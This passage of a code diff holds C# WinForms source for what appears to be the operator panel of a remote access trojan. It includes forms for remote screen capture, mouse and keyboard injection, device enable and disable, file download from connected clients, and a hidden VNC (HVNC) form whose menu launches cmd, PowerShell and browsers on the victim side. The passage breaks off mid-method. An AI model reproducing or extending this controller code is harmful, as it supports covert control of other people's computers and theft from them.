if (client != null)
{
client.Disconnect();
}
}
private void materialSwitch1_CheckedChanged(object sender, EventArgs e)
{
if (materialSwitch1.Checked)
{
client.Send(new object[4]
{
"Capture",
true,
(byte)numericUpDown2.Value,
materialSwitch4.Checked
});
}
else
{
client.Send(new object[2] { "Capture", false });
}
}
private void numericUpDown2_ValueChanged(object sender, EventArgs e)
{
if (materialSwitch1.Checked)
{
client.Send(new object[2]
{
"Quality",
(byte)numericUpDown2.Value
});
}
}
private void materialSwitch4_CheckedChanged(object sender, EventArgs e)
{
if (materialSwitch1.Checked)
{
client.Send(new object[2] { "Sharpdx", materialSwitch4.Checked });
}
}
private void pictureBox1_MouseDown(object sender, MouseEventArgs e)
{
try
{
if (materialSwitch1.Checked && materialSwitch2.Checked)
{
new Point(e.X * screen.Width / pictureBox1.Width, e.Y * screen.Height / pictureBox1.Height);
byte b = 0;
if (e.Button == MouseButtons.Left)
{
b = 2;
}
if (e.Button == MouseButtons.Right)
{
b = 8;
}
client.Send(new object[2] { "MouseClick", b });
}
}
catch
{
}
}
private void PictureBox_MouseWheel(object sender, MouseEventArgs e)
{
try
{
if (materialSwitch1.Checked && materialSwitch2.Checked)
{
int delta = e.Delta;
client.Send(new object[2] { "MouseScroll", delta });
}
}
catch
{
}
}
private void pictureBox1_MouseUp(object sender, MouseEventArgs e)
{
try
{
if (materialSwitch1.Checked && materialSwitch2.Checked)
{
new Point(e.X * screen.Width / pictureBox1.Width, e.Y * screen.Height / pictureBox1.Height);
byte b = 0;
if (e.Button == MouseButtons.Left)
{
b = 4;
}
if (e.Button == MouseButtons.Right)
{
b = 16;
}
client.Send(new object[2] { "MouseClick", b });
}
}
catch
{
}
}
private void pictureBox1_MouseMove(object sender, MouseEventArgs e)
{
try
{
if (materialSwitch1.Checked && materialSwitch2.Checked)
{
Point point = new Point(e.X * screen.Width / pictureBox1.Width, e.Y * screen.Height / pictureBox1.Height);
if (Math.Abs(point.X - point2.X) >= 15 || Math.Abs(point.Y - point2.Y) >= 15)
{
point2 = point;
client.Send(new object[3] { "MouseMove", point.X, point.Y });
}
}
}
catch
{
}
}
private void FormRemoteDesktop_KeyDown(object sender, KeyEventArgs e)
{
if (materialSwitch1.Checked && materialSwitch3.Checked)
{
if (!IsLockKey(e.KeyCode))
{
e.Handled = true;
}
if (!_keysPressed.Contains(e.KeyCode))
{
_keysPressed.Add(e.KeyCode);
client.Send(new object[3]
{
"KeyboardClick",
true,
(int)e.KeyCode
});
}
}
}
private void FormRemoteDesktop_KeyUp(object sender, KeyEventArgs e)
{
if (materialSwitch1.Checked && materialSwitch3.Checked)
{
if (!IsLockKey(e.KeyCode))
{
e.Handled = true;
}
_keysPressed.Remove(e.KeyCode);
client.Send(new object[3]
{
"KeyboardClick",
false,
(int)e.KeyCode
});
}
}
private bool IsLockKey(Keys key)
{
if ((key & Keys.Capital) != Keys.Capital && (key & Keys.NumLock) != Keys.NumLock)
{
return (key & Keys.Scroll) == Keys.Scroll;
}
return true;
}
private void timer1_Tick(object sender, EventArgs e)
{
if (!parrent.itsConnect)
{
Close();
}
if (client != null && !client.itsConnect)
{
Close();
}
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
this.materialSwitch1 = new MaterialSkin.Controls.MaterialSwitch();
this.materialSwitch2 = new MaterialSkin.Controls.MaterialSwitch();
this.materialSwitch3 = new MaterialSkin.Controls.MaterialSwitch();
this.materialSwitch4 = new MaterialSkin.Controls.MaterialSwitch();
this.pictureBox1 = new System.Windows.Forms.PictureBox();
this.numericUpDown2 = new System.Windows.Forms.NumericUpDown();
this.panel1 = new System.Windows.Forms.Panel();
this.timer1 = new System.Windows.Forms.Timer(this.components);
((System.ComponentModel.ISupportInitialize)this.pictureBox1).BeginInit();
((System.ComponentModel.ISupportInitialize)this.numericUpDown2).BeginInit();
base.SuspendLayout();
this.materialSwitch1.AutoSize = true;
this.materialSwitch1.Depth = 0;
this.materialSwitch1.Enabled = false;
this.materialSwitch1.Location = new System.Drawing.Point(3, 64);
this.materialSwitch1.Margin = new System.Windows.Forms.Padding(0);
this.materialSwitch1.MouseLocation = new System.Drawing.Point(-1, -1);
this.materialSwitch1.MouseState = MaterialSkin.MouseState.HOVER;
this.materialSwitch1.Name = "materialSwitch1";
this.materialSwitch1.Ripple = true;
this.materialSwitch1.Size = new System.Drawing.Size(92, 37);
this.materialSwitch1.TabIndex = 0;
this.materialSwitch1.Text = "Start";
this.materialSwitch1.UseVisualStyleBackColor = true;
this.materialSwitch1.CheckedChanged += new System.EventHandler(materialSwitch1_CheckedChanged);
this.materialSwitch2.AutoSize = true;
this.materialSwitch2.Depth = 0;
this.materialSwitch2.Enabled = false;
this.materialSwitch2.Location = new System.Drawing.Point(234, 64);
this.materialSwitch2.Margin = new System.Windows.Forms.Padding(0);
this.materialSwitch2.MouseLocation = new System.Drawing.Point(-1, -1);
this.materialSwitch2.MouseState = MaterialSkin.MouseState.HOVER;
this.materialSwitch2.Name = "materialSwitch2";
this.materialSwitch2.Ripple = true;
this.materialSwitch2.Size = new System.Drawing.Size(106, 37);
this.materialSwitch2.TabIndex = 1;
this.materialSwitch2.Text = "Mouse";
this.materialSwitch2.UseVisualStyleBackColor = true;
this.materialSwitch3.AutoSize = true;
this.materialSwitch3.Depth = 0;
this.materialSwitch3.Enabled = false;
this.materialSwitch3.Location = new System.Drawing.Point(352, 64);
this.materialSwitch3.Margin = new System.Windows.Forms.Padding(0);
this.materialSwitch3.MouseLocation = new System.Drawing.Point(-1, -1);
this.materialSwitch3.MouseState = MaterialSkin.MouseState.HOVER;
this.materialSwitch3.Name = "materialSwitch3";
this.materialSwitch3.Ripple = true;
this.materialSwitch3.Size = new System.Drawing.Size(125, 37);
this.materialSwitch3.TabIndex = 2;
this.materialSwitch3.Text = "Keyboard";
this.materialSwitch3.UseVisualStyleBackColor = true;
this.materialSwitch4.AutoSize = true;
this.materialSwitch4.Depth = 0;
this.materialSwitch4.Enabled = false;
this.materialSwitch4.Location = new System.Drawing.Point(491, 64);
this.materialSwitch4.Margin = new System.Windows.Forms.Padding(0);
this.materialSwitch4.MouseLocation = new System.Drawing.Point(-1, -1);
this.materialSwitch4.MouseState = MaterialSkin.MouseState.HOVER;
this.materialSwitch4.Name = "materialSwitch4";
this.materialSwitch4.Ripple = true;
this.materialSwitch4.Size = new System.Drawing.Size(109, 37);
this.materialSwitch4.TabIndex = 3;
this.materialSwitch4.Text = "DirectX";
this.materialSwitch4.UseVisualStyleBackColor = true;
this.materialSwitch4.CheckedChanged += new System.EventHandler(materialSwitch4_CheckedChanged);
this.pictureBox1.Anchor = System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left | System.Windows.Forms.AnchorStyles.Right;
this.pictureBox1.Location = new System.Drawing.Point(6, 104);
this.pictureBox1.Name = "pictureBox1";
this.pictureBox1.Size = new System.Drawing.Size(813, 427);
this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
this.pictureBox1.TabIndex = 4;
this.pictureBox1.TabStop = false;
this.numericUpDown2.BackColor = System.Drawing.Color.White;
this.numericUpDown2.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
this.numericUpDown2.Enabled = false;
this.numericUpDown2.ForeColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.numericUpDown2.Increment = new decimal(new int[4] { 10, 0, 0, 0 });
this.numericUpDown2.Location = new System.Drawing.Point(112, 73);
this.numericUpDown2.Margin = new System.Windows.Forms.Padding(2);
this.numericUpDown2.Name = "numericUpDown2";
this.numericUpDown2.Size = new System.Drawing.Size(42, 20);
this.numericUpDown2.TabIndex = 19;
this.numericUpDown2.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;
this.numericUpDown2.UpDownAlign = System.Windows.Forms.LeftRightAlignment.Left;
this.numericUpDown2.Value = new decimal(new int[4] { 80, 0, 0, 0 });
this.numericUpDown2.ValueChanged += new System.EventHandler(numericUpDown2_ValueChanged);
this.panel1.Dock = System.Windows.Forms.DockStyle.Fill;
this.panel1.Location = new System.Drawing.Point(3, 64);
this.panel1.Name = "panel1";
this.panel1.Size = new System.Drawing.Size(819, 470);
this.panel1.TabIndex = 20;
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(timer1_Tick);
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.Color.White;
base.ClientSize = new System.Drawing.Size(825, 537);
base.Controls.Add(this.numericUpDown2);
base.Controls.Add(this.pictureBox1);
base.Controls.Add(this.materialSwitch4);
base.Controls.Add(this.materialSwitch3);
base.Controls.Add(this.materialSwitch2);
base.Controls.Add(this.materialSwitch1);
base.Controls.Add(this.panel1);
base.DrawerUseColors = true;
base.Name = "FormDesktop";
this.Text = "Desktop";
base.Load += new System.EventHandler(FormDesktop_Load);
((System.ComponentModel.ISupportInitialize)this.pictureBox1).EndInit();
((System.ComponentModel.ISupportInitialize)this.numericUpDown2).EndInit();
base.ResumeLayout(false);
base.PerformLayout();
}
}
+289
View File
@@ -0,0 +1,289 @@
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.Reflection;
using System.Windows.Forms;
using MaterialSkin;
using MaterialSkin.Controls;
using Server.Connectings;
using Server.Helper;
namespace Server.Forms;
public class FormDeviceManager : FormMaterial
{
public Clients client;
public Clients parrent;
private IContainer components;
private Timer timer1;
private ContextMenuStrip contextMenuStrip1;
private ToolStripMenuItem stopToolStripMenuItem;
private Panel panel1;
public DataGridView dataGridView2;
public MaterialLabel materialLabel1;
private ToolStripMenuItem startToolStripMenuItem;
private ToolStripMenuItem refreshToolStripMenuItem;
private ToolStripSeparator sToolStripMenuItem;
private DataGridViewTextBoxColumn Column1;
private DataGridViewTextBoxColumn Column2;
private DataGridViewTextBoxColumn Column3;
private DataGridViewTextBoxColumn Column4;
public FormDeviceManager()
{
InitializeComponent();
base.FormClosing += Closing1;
}
private void FormProcess_Load(object sender, EventArgs e)
{
MaterialSkinManager.Instance.ThemeChanged += ChangeScheme;
ChangeScheme(this);
timer1.Start();
typeof(DataGridView).InvokeMember("DoubleBuffered", BindingFlags.Instance | BindingFlags.NonPublic | BindingFlags.SetProperty, null, dataGridView2, new object[1] { true });
}
private void ChangeScheme(object sender)
{
dataGridView2.ColumnHeadersDefaultCellStyle.SelectionForeColor = FormMaterial.PrimaryColor;
dataGridView2.ColumnHeadersDefaultCellStyle.ForeColor = FormMaterial.PrimaryColor;
dataGridView2.DefaultCellStyle.SelectionBackColor = FormMaterial.PrimaryColor;
dataGridView2.DefaultCellStyle.ForeColor = FormMaterial.PrimaryColor;
}
private void Closing1(object sender, EventArgs e)
{
if (client != null)
{
client.Disconnect();
}
}
private void timer1_Tick(object sender, EventArgs e)
{
if (!parrent.itsConnect)
{
Close();
}
if (client != null && !client.itsConnect)
{
Close();
}
}
private string[] NameSelected()
{
List<string> list = new List<string>();
foreach (DataGridViewRow selectedRow in dataGridView2.SelectedRows)
{
list.Add((string)selectedRow.Cells[0].Value);
}
return list.ToArray();
}
private void startToolStripMenuItem_Click(object sender, EventArgs e)
{
if (dataGridView2.SelectedRows.Count != 0)
{
client.Send(new object[2]
{
"Enable",
string.Join(";", (IEnumerable<string>)NameSelected())
});
}
}
private void stopToolStripMenuItem_Click(object sender, EventArgs e)
{
if (dataGridView2.SelectedRows.Count != 0)
{
client.Send(new object[2]
{
"Disable",
string.Join(";", (IEnumerable<string>)NameSelected())
});
}
}
private void refreshToolStripMenuItem_Click(object sender, EventArgs e)
{
client.Send(new object[1] { "Refresh" });
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormDeviceManager));
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle();
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
this.refreshToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.sToolStripMenuItem = new System.Windows.Forms.ToolStripSeparator();
this.startToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.stopToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.panel1 = new System.Windows.Forms.Panel();
this.materialLabel1 = new MaterialSkin.Controls.MaterialLabel();
this.dataGridView2 = new System.Windows.Forms.DataGridView();
this.Column1 = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.Column2 = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.Column3 = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.Column4 = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.contextMenuStrip1.SuspendLayout();
this.panel1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.dataGridView2).BeginInit();
base.SuspendLayout();
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(timer1_Tick);
this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[4] { this.refreshToolStripMenuItem, this.sToolStripMenuItem, this.startToolStripMenuItem, this.stopToolStripMenuItem });
this.contextMenuStrip1.Name = "contextMenuStrip1";
this.contextMenuStrip1.Size = new System.Drawing.Size(114, 76);
this.refreshToolStripMenuItem.Image = (System.Drawing.Image)resources.GetObject("refreshToolStripMenuItem.Image");
this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem";
this.refreshToolStripMenuItem.Size = new System.Drawing.Size(113, 22);
this.refreshToolStripMenuItem.Text = "Refresh";
this.refreshToolStripMenuItem.Click += new System.EventHandler(refreshToolStripMenuItem_Click);
this.sToolStripMenuItem.Name = "sToolStripMenuItem";
this.sToolStripMenuItem.Size = new System.Drawing.Size(110, 6);
this.startToolStripMenuItem.Image = (System.Drawing.Image)resources.GetObject("startToolStripMenuItem.Image");
this.startToolStripMenuItem.Name = "startToolStripMenuItem";
this.startToolStripMenuItem.Size = new System.Drawing.Size(113, 22);
this.startToolStripMenuItem.Text = "Enable";
this.startToolStripMenuItem.Click += new System.EventHandler(startToolStripMenuItem_Click);
this.stopToolStripMenuItem.Image = (System.Drawing.Image)resources.GetObject("stopToolStripMenuItem.Image");
this.stopToolStripMenuItem.Name = "stopToolStripMenuItem";
this.stopToolStripMenuItem.Size = new System.Drawing.Size(113, 22);
this.stopToolStripMenuItem.Text = "Disable";
this.stopToolStripMenuItem.Click += new System.EventHandler(stopToolStripMenuItem_Click);
this.panel1.Controls.Add(this.materialLabel1);
this.panel1.Dock = System.Windows.Forms.DockStyle.Bottom;
this.panel1.Location = new System.Drawing.Point(3, 512);
this.panel1.Name = "panel1";
this.panel1.Size = new System.Drawing.Size(794, 20);
this.panel1.TabIndex = 1;
this.materialLabel1.AutoSize = true;
this.materialLabel1.Depth = 0;
this.materialLabel1.Font = new System.Drawing.Font("Roboto", 14f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Pixel);
this.materialLabel1.Location = new System.Drawing.Point(2, 1);
this.materialLabel1.MouseState = MaterialSkin.MouseState.HOVER;
this.materialLabel1.Name = "materialLabel1";
this.materialLabel1.Size = new System.Drawing.Size(94, 19);
this.materialLabel1.TabIndex = 1;
this.materialLabel1.Text = "Please wait...";
this.dataGridView2.AllowDrop = true;
this.dataGridView2.AllowUserToAddRows = false;
this.dataGridView2.AllowUserToDeleteRows = false;
this.dataGridView2.AllowUserToResizeColumns = false;
this.dataGridView2.AllowUserToResizeRows = false;
this.dataGridView2.BackgroundColor = System.Drawing.Color.White;
this.dataGridView2.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.dataGridView2.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;
this.dataGridView2.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;
dataGridViewCellStyle.Alignment = System.Windows.Forms.DataGridViewContentAlignment.TopLeft;
dataGridViewCellStyle.BackColor = System.Drawing.Color.White;
dataGridViewCellStyle.Font = new System.Drawing.Font("Arial", 9f);
dataGridViewCellStyle.ForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle.SelectionBackColor = System.Drawing.Color.White;
dataGridViewCellStyle.SelectionForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
this.dataGridView2.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle;
this.dataGridView2.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize;
this.dataGridView2.Columns.AddRange(this.Column1, this.Column2, this.Column3, this.Column4);
this.dataGridView2.ContextMenuStrip = this.contextMenuStrip1;
this.dataGridView2.Cursor = System.Windows.Forms.Cursors.Default;
dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
dataGridViewCellStyle2.BackColor = System.Drawing.Color.White;
dataGridViewCellStyle2.Font = new System.Drawing.Font("Arial", 9f);
dataGridViewCellStyle2.ForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle2.SelectionBackColor = System.Drawing.Color.Purple;
dataGridViewCellStyle2.SelectionForeColor = System.Drawing.Color.White;
dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False;
this.dataGridView2.DefaultCellStyle = dataGridViewCellStyle2;
this.dataGridView2.Dock = System.Windows.Forms.DockStyle.Fill;
this.dataGridView2.Enabled = false;
this.dataGridView2.EnableHeadersVisualStyles = false;
this.dataGridView2.GridColor = System.Drawing.Color.FromArgb(17, 17, 17);
this.dataGridView2.Location = new System.Drawing.Point(3, 64);
this.dataGridView2.Name = "dataGridView2";
this.dataGridView2.ReadOnly = true;
this.dataGridView2.RowHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;
dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
dataGridViewCellStyle3.BackColor = System.Drawing.Color.FromArgb(17, 17, 17);
dataGridViewCellStyle3.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
dataGridViewCellStyle3.ForeColor = System.Drawing.Color.FromArgb(0, 192, 0);
dataGridViewCellStyle3.Padding = new System.Windows.Forms.Padding(1, 0, 0, 0);
dataGridViewCellStyle3.SelectionBackColor = System.Drawing.Color.FromArgb(0, 192, 0);
dataGridViewCellStyle3.SelectionForeColor = System.Drawing.Color.FromArgb(17, 17, 17);
dataGridViewCellStyle3.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
this.dataGridView2.RowHeadersDefaultCellStyle = dataGridViewCellStyle3;
this.dataGridView2.RowHeadersVisible = false;
this.dataGridView2.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;
this.dataGridView2.ShowCellErrors = false;
this.dataGridView2.ShowCellToolTips = false;
this.dataGridView2.ShowEditingIcon = false;
this.dataGridView2.ShowRowErrors = false;
this.dataGridView2.Size = new System.Drawing.Size(794, 448);
this.dataGridView2.TabIndex = 17;
this.Column1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells;
this.Column1.HeaderText = "Name";
this.Column1.MinimumWidth = 150;
this.Column1.Name = "Column1";
this.Column1.ReadOnly = true;
this.Column1.Width = 150;
this.Column2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells;
this.Column2.HeaderText = "Class";
this.Column2.MinimumWidth = 100;
this.Column2.Name = "Column2";
this.Column2.ReadOnly = true;
this.Column3.HeaderText = "Status";
this.Column3.MinimumWidth = 70;
this.Column3.Name = "Column3";
this.Column3.ReadOnly = true;
this.Column3.Width = 70;
this.Column4.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;
this.Column4.HeaderText = "Description";
this.Column4.MinimumWidth = 100;
this.Column4.Name = "Column4";
this.Column4.ReadOnly = true;
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.Color.White;
base.ClientSize = new System.Drawing.Size(800, 535);
base.Controls.Add(this.dataGridView2);
base.Controls.Add(this.panel1);
base.Name = "FormDeviceManager";
this.Text = "Device Manager ";
base.Load += new System.EventHandler(FormProcess_Load);
this.contextMenuStrip1.ResumeLayout(false);
this.panel1.ResumeLayout(false);
this.panel1.PerformLayout();
((System.ComponentModel.ISupportInitialize)this.dataGridView2).EndInit();
base.ResumeLayout(false);
}
}
+206
View File
@@ -0,0 +1,206 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
using MaterialSkin;
using MaterialSkin.Controls;
using Server.Connectings;
using Server.Helper;
namespace Server.Forms;
public class FormDownload : FormMaterial
{
public string NameFile;
public string pathto;
public long Recevied;
public long Secound;
public long SizeFile;
public Clients client;
public Clients parrent;
private IContainer components;
private MaterialProgressBar materialProgressBar1;
private MaterialLabel materialLabel1;
private MaterialLabel materialLabel2;
private MaterialLabel materialLabel3;
private MaterialLabel materialLabel4;
public Timer timer2;
private MaterialLabel materialLabel5;
public Timer timer1;
public FormDownload()
{
InitializeComponent();
base.FormClosing += Closing1;
}
private void Closing1(object sender, EventArgs e)
{
if (client != null)
{
client.Disconnect();
}
}
private void FormUpload_Load(object sender, EventArgs e)
{
timer1.Start();
timer2.Start();
materialProgressBar1.Maximum = (int)SizeFile;
materialLabel3.Text = "File: " + NameFile;
materialLabel4.Text = "Size: " + Methods.BytesToString(SizeFile);
Clients clients = client;
clients.Recevied = (Clients.Delegate)Delegate.Combine(clients.Recevied, (Clients.Delegate)delegate(long item)
{
Program.form.Invoke((MethodInvoker)delegate
{
Recevied += item;
Secound += item;
if (Recevied <= SizeFile)
{
materialProgressBar1.Value = (int)Recevied;
materialLabel5.Text = "Size Recive: " + Methods.BytesToString(Recevied);
client.lastPing.Last();
}
});
});
}
private void timer2_Tick(object sender, EventArgs e)
{
materialLabel2.Text = Methods.BytesToString(Secound) + "\\sec";
Secound = 0L;
materialLabel1.Text = GetPercent(SizeFile, Recevied) + "% done";
}
public static long GetPercent(long b, long a)
{
if (b == 0L)
{
return 0L;
}
return (long)((decimal)a / ((decimal)b / 100m));
}
private void timer1_Tick(object sender, EventArgs e)
{
if (!parrent.itsConnect)
{
Close();
}
if (client != null && !client.itsConnect)
{
Close();
}
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
this.materialProgressBar1 = new MaterialSkin.Controls.MaterialProgressBar();
this.materialLabel1 = new MaterialSkin.Controls.MaterialLabel();
this.materialLabel2 = new MaterialSkin.Controls.MaterialLabel();
this.materialLabel3 = new MaterialSkin.Controls.MaterialLabel();
this.materialLabel4 = new MaterialSkin.Controls.MaterialLabel();
this.timer2 = new System.Windows.Forms.Timer(this.components);
this.materialLabel5 = new MaterialSkin.Controls.MaterialLabel();
this.timer1 = new System.Windows.Forms.Timer(this.components);
base.SuspendLayout();
this.materialProgressBar1.Anchor = System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left | System.Windows.Forms.AnchorStyles.Right;
this.materialProgressBar1.Depth = 0;
this.materialProgressBar1.Location = new System.Drawing.Point(6, 121);
this.materialProgressBar1.MouseState = MaterialSkin.MouseState.HOVER;
this.materialProgressBar1.Name = "materialProgressBar1";
this.materialProgressBar1.Size = new System.Drawing.Size(323, 5);
this.materialProgressBar1.TabIndex = 0;
this.materialLabel1.AutoSize = true;
this.materialLabel1.Depth = 0;
this.materialLabel1.Font = new System.Drawing.Font("Roboto", 14f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Pixel);
this.materialLabel1.Location = new System.Drawing.Point(6, 129);
this.materialLabel1.MouseState = MaterialSkin.MouseState.HOVER;
this.materialLabel1.Name = "materialLabel1";
this.materialLabel1.Size = new System.Drawing.Size(61, 19);
this.materialLabel1.TabIndex = 1;
this.materialLabel1.Text = "0% done";
this.materialLabel2.AutoSize = true;
this.materialLabel2.Depth = 0;
this.materialLabel2.Font = new System.Drawing.Font("Roboto", 14f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Pixel);
this.materialLabel2.Location = new System.Drawing.Point(243, 129);
this.materialLabel2.MouseState = MaterialSkin.MouseState.HOVER;
this.materialLabel2.Name = "materialLabel2";
this.materialLabel2.Size = new System.Drawing.Size(50, 19);
this.materialLabel2.TabIndex = 2;
this.materialLabel2.Text = "0b/sec";
this.materialLabel3.AutoSize = true;
this.materialLabel3.Depth = 0;
this.materialLabel3.Font = new System.Drawing.Font("Roboto", 14f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Pixel);
this.materialLabel3.Location = new System.Drawing.Point(6, 95);
this.materialLabel3.MouseState = MaterialSkin.MouseState.HOVER;
this.materialLabel3.Name = "materialLabel3";
this.materialLabel3.Size = new System.Drawing.Size(91, 19);
this.materialLabel3.TabIndex = 3;
this.materialLabel3.Text = "File: none.txt";
this.materialLabel4.AutoSize = true;
this.materialLabel4.Depth = 0;
this.materialLabel4.Font = new System.Drawing.Font("Roboto", 14f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Pixel);
this.materialLabel4.Location = new System.Drawing.Point(6, 73);
this.materialLabel4.MouseState = MaterialSkin.MouseState.HOVER;
this.materialLabel4.Name = "materialLabel4";
this.materialLabel4.Size = new System.Drawing.Size(71, 19);
this.materialLabel4.TabIndex = 4;
this.materialLabel4.Text = "Size: 0mb";
this.timer2.Interval = 1000;
this.timer2.Tick += new System.EventHandler(timer2_Tick);
this.materialLabel5.AutoSize = true;
this.materialLabel5.Depth = 0;
this.materialLabel5.Font = new System.Drawing.Font("Roboto", 14f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Pixel);
this.materialLabel5.Location = new System.Drawing.Point(119, 73);
this.materialLabel5.MouseState = MaterialSkin.MouseState.HOVER;
this.materialLabel5.Name = "materialLabel5";
this.materialLabel5.Size = new System.Drawing.Size(121, 19);
this.materialLabel5.TabIndex = 5;
this.materialLabel5.Text = "Size Recive: 0mb";
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(timer1_Tick);
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(335, 162);
base.Controls.Add(this.materialLabel5);
base.Controls.Add(this.materialLabel4);
base.Controls.Add(this.materialLabel3);
base.Controls.Add(this.materialLabel2);
base.Controls.Add(this.materialLabel1);
base.Controls.Add(this.materialProgressBar1);
this.MaximumSize = new System.Drawing.Size(335, 162);
this.MinimumSize = new System.Drawing.Size(335, 162);
base.Name = "FormDownload";
this.Text = "Download";
base.Load += new System.EventHandler(FormUpload_Load);
base.ResumeLayout(false);
base.PerformLayout();
}
}
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+499
View File
@@ -0,0 +1,499 @@
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Windows.Forms;
using Leb128;
using MaterialSkin;
using MaterialSkin.Controls;
using Server.Connectings;
using Server.Helper;
namespace Server.Forms;
public class FormHVNC : FormMaterial
{
public int FPS;
public Stopwatch sw = Stopwatch.StartNew();
private List<Keys> _keysPressed = new List<Keys>();
public Size screen;
public Clients client;
public Clients parrent;
private Point point2 = new Point(0, 0);
private const int threshold = 15;
private IContainer components;
public NumericUpDown numericUpDown2;
public MaterialSwitch materialSwitch1;
public PictureBox pictureBox1;
private Panel panel1;
public Timer timer1;
private ContextMenuStrip contextMenuStrip1;
private ToolStripMenuItem runToolStripMenuItem;
private ToolStripMenuItem cmdToolStripMenuItem;
private ToolStripMenuItem powerShellToolStripMenuItem;
private ToolStripMenuItem edgeToolStripMenuItem;
private ToolStripMenuItem chromeToolStripMenuItem;
private ToolStripMenuItem braweToolStripMenuItem;
private ToolStripMenuItem yandexToolStripMenuItem;
private ToolStripMenuItem firefoxToolStripMenuItem;
private MaterialLabel materialLabel1;
private ToolStripMenuItem customToolStripMenuItem;
public FormHVNC()
{
InitializeComponent();
base.FormClosing += Closing1;
}
private void FormDesktop_Load(object sender, EventArgs e)
{
MaterialSkinManager.Instance.ThemeChanged += ChangeScheme;
ChangeScheme(this);
timer1.Start();
pictureBox1.MouseMove += pictureBox1_MouseMove;
pictureBox1.MouseDown += pictureBox1_MouseDown;
pictureBox1.MouseUp += pictureBox1_MouseUp;
pictureBox1.MouseDoubleClick += pictureBox1_MouseDoubleClick;
pictureBox1.MouseWheel += pictureBox1_MouseWheel;
base.KeyPreview = true;
pictureBox1.Focus();
base.KeyDown += FormRemoteDesktop_KeyDown;
base.KeyUp += FormRemoteDesktop_KeyUp;
}
private void ChangeScheme(object sender)
{
numericUpDown2.ForeColor = FormMaterial.PrimaryColor;
}
private void Closing1(object sender, EventArgs e)
{
if (client != null)
{
client.Disconnect();
}
}
private void materialSwitch1_CheckedChanged(object sender, EventArgs e)
